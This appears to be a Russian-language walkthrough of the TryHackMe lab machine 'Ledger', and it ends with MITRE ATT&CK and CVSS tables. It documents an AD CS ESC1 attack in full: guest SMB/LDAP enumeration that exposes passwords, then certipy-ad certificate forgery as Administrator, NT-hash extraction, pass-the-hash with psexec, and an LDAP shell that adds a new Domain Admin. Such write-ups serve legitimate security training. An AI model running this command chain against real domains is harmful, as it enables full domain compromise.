Ledger — это сложная машина Windows на TryHackMe, в центре которой находится неправильная конфигурация служб сертификатов Active Directory (AD CS). Первоначальная разведка выявляет контроллер домена (labyrinth.thm.local) с включенной аутентификацией SMB null и LDAP, раскрывающим учетные данные пользователя в примечаниях. Через certipy-ad находим шаблон сертификата ServerAuth , который уязвим к ESC1, что позволяет любому аутентифицированному пользователю запросить сертификат, выдавая себя за администратора домена. Хэш NT администратора извлекается из поддельного сертификата, а psexec предоставляет командную оболочку NT AUTHORITY SYSTEM. Альтернативный путь эксплуатации через аутентификацию LDAP Schannel для случаев, когда Kerberos PKINIT не срабатывает.
Разведка (T1595.002)
Поскольку в задании у нас сказано, что нужно будет эксплойтить Active Directory, значит у нас Windows, а для успешного сканирования этой ОС, нужно добавить флаг -Pn.
sudo nmap -sC -sV -v 10.114.161.221 -Pn
Здесь много портов, если сравнивать с машинами на Linux.
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.088/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-03 09:42:50Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)|_ssl-date: 2026-05-03T09:44:40+00:00; 0s from scanner time.| ssl-cert: Subject: commonName=labyrinth.thm.local| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local| Issuer: commonName=thm-LABYRINTH-CA443/tcp open ssl/https?445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)|_ssl-date: 2026-05-03T09:44:39+00:00; -1s from scanner time.| ssl-cert: Subject: commonName=labyrinth.thm.local| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=labyrinth.thm.local| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:labyrinth.thm.local3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)3389/tcp open ms-wbt-server Microsoft Terminal Services
Первое, на что стоит обратить внимание это домены, которые нужно добавить в /etc/hosts.
Есть даже вебчик на 80 и 443 порту, но там стандартная заглушка от IIS, поэтому там делать нечего. Фаззить, там что-либо бесполезно.
4 порта 389,636,3268,3269 ldap. Они разделяются по способу шифрования и объему доступных данных.
Очень интересный порт 3389 это rdp, однако пока у нас нет кредов, чтобы туда зайти.
445 порт помечен как microsoft-ds?, но это должен быть smb.
Разведка через smb
Попробуем узнать для начала общую информацию о хосте. Буду использовать утилиту netexec.
~ nxc smb 10.114.161.221 SMB 10.114.161.221 445 LABYRINTH [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)
Здесь важный вывод это Null Auth:true. Это означает, что разрешена «нулевая сессия» (вход без логина и пароля).
С пустыми кредами нас не пускает, зато гостя приняли как родного, заодно можно изучить список всех пользователей и групп.
nxc smb 10.114.161.221 -u 'guest' -p '' --rid-brute
Разведка через ldap
Стоит проверить этой же утилитой список юзеров через порт 389. Здесь данные передаются в открытом виде.
nxc ldap 10.114.161.221 -u 'guest' -p '' --users
Здесь также видим много пользователей, но если внимательно посмотреть, то у двоих пользователей, можно наблюдать пароль в примечаниях. IVY_WILLIS и SUSANNA_MCKNIGHT.
Креды получены, можно пробовать подключиться по RDP.
Эксплуатация (T1190) и первый флаг
Для подключения по RDP я буду использовать утилиту Remmina.
Входим по полученному имени пользователя и паролю, домен — из скана nmap.
IVY_WILLIS не поддался и видимо сменил пароль. Зато мы успешно залогинились под именем SUSANNA_MCKNIGHT и флаг на рабочем столе.
THM{Firslt_user_flag!}
Поиск вектора для повышения привелегий в AD
Нужно бы осмотреться в системе, поэтому будем использовать Bloodhound для визуализации нашего положения.
bloodhound-ce-python -d thm.local -ns 10.114.161.221 -dc labyrinth.thm.local --zip -c all -u 'SUSANNA_MCKNIGHT' -p '******'
Эта команда создаст zip архив. Затем просто экспортируем его в bloodhound для наглядности.
Здесь можем наблюдать путь от нашего пользователя, до группы Domain Admins. Цель — Beverly или Bradley: Эти два пользователя — кратчайший путь к полному захвату домена. Однако этот путь не единственный к полному захвату.
При работе с Active Direcory, полезно проверить ошибки в конфигурациях сертификатов. Для этих целей просканируем систему утилитой certipy-ad.
certipy-ad find -u SUSANNA_MCKNIGHT -p '******' -dc-ip 10.114.161.221 -vulnerable
Успех, есть уязвимоть ESC1.
Шаблон ServerAuth позволяет любому члену Authenticated Users выпустить сертификат клиентской аутентификации на имя произвольного пользователя домена, включая Domain Administrator.
Решение №1. Атакуем AD с кредами админа
Зная об уязвимости ESC1, далее я насчитал как минимум 3 пути решения, хотя они все схожи.
-
Можно выпустить сертификат притворившись непосредственно администратором.
-
Можно запросить пропуск на имя BRADLEY_ORTIZ, потому что он входит в группу Domain Admins, а для чтения флага, нам нужно это условие.
-
Создать своего пользователя и добавить в группу Domain Admins.
Все 3 решения основаны на уязвимости ESC1.
Будем притворяться админом и сделаем запрос на выпуск сертификата от его имени. Для этого снова будем использовать certipy-ad.
certipy-ad req -u 'SUSANNA_MCKNIGHT@thm.local' -p '******!' -target labyrinth.thm.local -template 'ServerAuth' -ca 'thm-LABYRINTH-CA' -upn Administrator@thm.local
Получаем файл administrator.pfx, содержащий сертификат администратора.
С помощью того же Certipy можно будет получить NT-хэш администратора или запросить Kerberos TGT.
certipy-ad auth -pfx administrator.pfx -dc-ip 10.112.146.154
Как видно хэш админа получен.
Когда у нас есть хэш админа, нам не нужен его пароль. Мы можем напрямую подключаться с хэшем.
impacket-psexec -k -hashes :00000000000000 thm.local/Administrator@labyrinth.thm.local
Флаг рута взят.
THM{root's_flag_is_here}
Решение №2 через создание своего пользователя
В процессе решения после этапа запроса сертификата, во время аутентификации у меня kerberos выдавал ошибку.
[*] Trying to get TGT...[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
Ошибка KDC_ERR_PADATA_TYPE_NOSUPP означает, что на DC банально не настроен (или сломан) сертификат для Kerberos PKINIT-аутентификации. Однако валидный файл .pfx я уже получил.
Гуглинг дал одну наводку, что можно обойти через Schannel — аутентификация напрямую в LDAP по TLS-сертификату, минуя Kerberos целиком.
certipy-ad auth -pfx administrator.pfx -dc-ip 10.114.161.221 -ldap-shell
Логинимся, получаем шелл, однако через него напрямую нельзя прочитать флаг. Но можно создать нового пользователя и выдать ему админские права.
# add_user DenAttempting to create user in: %s CN=Users,DC=thm,DC=localAdding new user with username: Den and password: 40B2lsU/56CP7,6 result: OK# add_user_to_group Den "Domain Admins"Adding user: Den to group Domain Admins result: OK
С полученными кредами логинимся по RDP, забираем флаг.
Пару заметок по прохождению.
Во время работы утилиты certipy-ad иногда сыпались и другие ошибки, по типу
[!] DNS resolution failed: The DNS query name does not exist: labyrinth.thm.local.Traceback (most recent call last): File "/usr/lib/python3/dist-packages/certipy/lib/[target.py](http://target.py)", line 442, in resolve
Это потому что Certipy использует dns.resolver из Python, который ходит напрямую в DNS-сервер из /etc/resolv.conf, а не в /etc/hosts. Поэтому нужно добавить айпишник машины в этот файл первым. Порядок здесь важен!
Также в процессе решения машины узнал про утилиту rpcclient. В данном таске при моем решении, она не понадобилась, однако может быть полезна в будущем. С помощью нее можно получить массу полезной информации, которую не всегда отдают другие инструменты. Работая с AD нередко может понадобиться SID (Security Identifier) — это уникальный номер (например, S-1-5-21-3623811015-3361044348-30300820-500), который Windows использует для контроля доступа. Узнать SID админа на этой машине можно с помощью команды:
rpcclient -U 'SUSANNA_MCKNIGHT%PASSWORD' 10.112.146.154 -c "lookupnames Administrator"
Если на DC установлен патч KB5014754, то при аутентификации через certipy-ad auth может прилететь отказ. В этом случае нужно будет указать SID администратора и указать его при аутентификации.
Маппинг по MITRE ATT&CK
|
Phase |
Tactic |
Technique |
ID |
|---|---|---|---|
|
Сканирование портов |
|
||
|
Гостевой SMB доступ |
|
||
|
Пароли в открытом виде |
|
||
|
Вход по RDP через найденные креды |
|
||
|
Маппинг домена через BloodHound |
|
||
|
AD CS ESC1 подделка сертификата |
|
||
|
Извлечение NT-хеша из PFX |
|
||
|
Pass-the-Hash через psexec |
|
||
|
Создание пользователя и добавление в группу Domain Admins |
|
Оценка уязвимостей по CVSS
|
CVE |
CVSS 3.1 |
Severity |
Description |
|---|---|---|---|
|
Пароли в примечаниях |
6.5 (est.) |
Medium |
Пароли хранились в открытом виде в разделе примечаний, а также доступны для чтения всем пользователям с гостевым доступом CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
|
CVE-2024-49019 / ESC1 |
7.8 |
High |
Неправильно настроенный шаблон сертификата позволяет любому авторизованному пользователю запрашивать сертификаты аутентификации клиента для произвольных субъектов, включая администратора домена. |
Райтап от @alfabuster
ссылка на оригинал статьи https://habr.com/ru/articles/1032298/